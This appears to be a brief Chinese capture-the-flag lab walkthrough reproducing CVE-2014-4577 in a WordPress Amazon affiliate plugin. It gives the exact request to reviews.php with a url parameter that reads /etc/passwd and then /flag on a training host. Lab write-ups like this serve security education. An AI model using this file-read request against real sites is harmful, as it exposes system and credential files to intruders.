cve-2014-4577

1、开启靶场

2、点击网址进入http://eci-2ze4r3pmt5omkonscteh.cloudeci1.ichunqiu.com

3、修改url，在原有的基础上加上wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/etc/passwd

例如：http://eci-2ze4r3pmt5omkonscteh.cloudeci1.ichunqiu.com/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/etc/passwd

4、修改url，在原有的基础上加上

/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/flag

例如：http://eci-2ze4r3pmt5omkonscteh.cloudeci1.ichunqiu.com/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/flag

5、获得flag，复现成功。